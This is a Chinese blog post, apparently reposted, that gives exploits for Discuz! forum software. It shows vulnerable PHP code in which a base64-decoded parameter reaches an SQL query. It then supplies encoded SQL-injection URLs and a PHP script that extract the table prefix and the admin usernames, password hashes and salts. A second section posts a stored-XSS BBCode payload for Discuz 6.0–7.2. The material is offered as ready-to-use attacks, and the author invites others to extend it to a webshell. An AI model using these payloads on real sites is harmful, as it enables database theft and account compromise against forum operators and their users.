DiscuzX2注入漏洞及XSS漏洞的利用

注射漏洞详细说明:

文件:source\module\forum\forum_attachment.php

if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));

if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {
dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']);
}

变量aid 直接base64_decode 后传入 SQL查询,造成注射漏洞。。。


http://www.xx.com/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDS

EVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2U

gJyVfbWVtYmVyfHh8eHx4fHg%3D

转向后网址
http://www.xx.com/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member

暴出表名 pre_common_admincp_member

base64解码
1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password)
from pre_common_member where  username like ‘admin|x|y


实际查询为:

$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";
//die (urlencode(base64_encode($x)));

如果不是默认前缀
暴前缀EXP
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR
VMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1
FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D

=======================================================
贴个PHP的EXP:


$host=”http://www.xx.com(论坛地址)”;
$affuser=”要爆的用户名username”;
echo ‘ echo $host.”forum.php?mod=attachment&findpost=ss&aid=”;
echo urlencode(base64_encode(“1′ and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like ‘%_member|x|y”));
echo ‘” target=”_blank”>爆前缀
’;
echo “
”;
echo ‘ echo $host.”forum.php?mod=attachment&findpost=ss&aid=”;
echo urlencode(base64_encode(“1′ and 1=2 union all select 1,group_concat(username,0x7C,password,0x7C,salt) from pre_ucenter_members where username like ‘$affuser|x|y”));
echo ‘” target=”_blank”>爆password,salt
’;
?>
注:即使爆出来用户名与密码,但是密码的加密方式这 MD5(MD5($pass),$salt) 类型,$salt 是 A~z 0~9 随机数值,所以也很鸡肋的,破解不了密码。。。坐等大N出GetwebShell

 

Discuz!多版本 存储型XSS脚本漏洞 (0day) 漏洞公布


  2009年一次偶然间测试发现的此XSS漏洞,因为是存储型的,我想大家应该知道它的危害吧。相隔这么多年DZ不断的更新版本,但此漏洞依然存在,今天就发布出来吧!留着也没什么用会长毛的,呵呵。
在此我要感谢一下我的好朋友Jackal在09年的时候一起帮我测试漏洞的。
当时我们一起测试的是DZ6.0-DZ7.2,不知道是不是通杀啊。哈哈!没有一个一个去测试。有条件的去测试一下吧。


发贴进入源码模式,写入如下的exp:

[email][url][img]http://www.0517net.com οnmοuseοver=alert(/DZ-xss-0day/);[/img][/url][/email]

上面代码是以鼠标事件来触发XSS的,剩下的大家可以自行发挥构造!!!

附上XSS完的源码如下:

我想你们一看就明白了吧!

 

 

你可能感兴趣的:(PHP,网络安全,MySQL)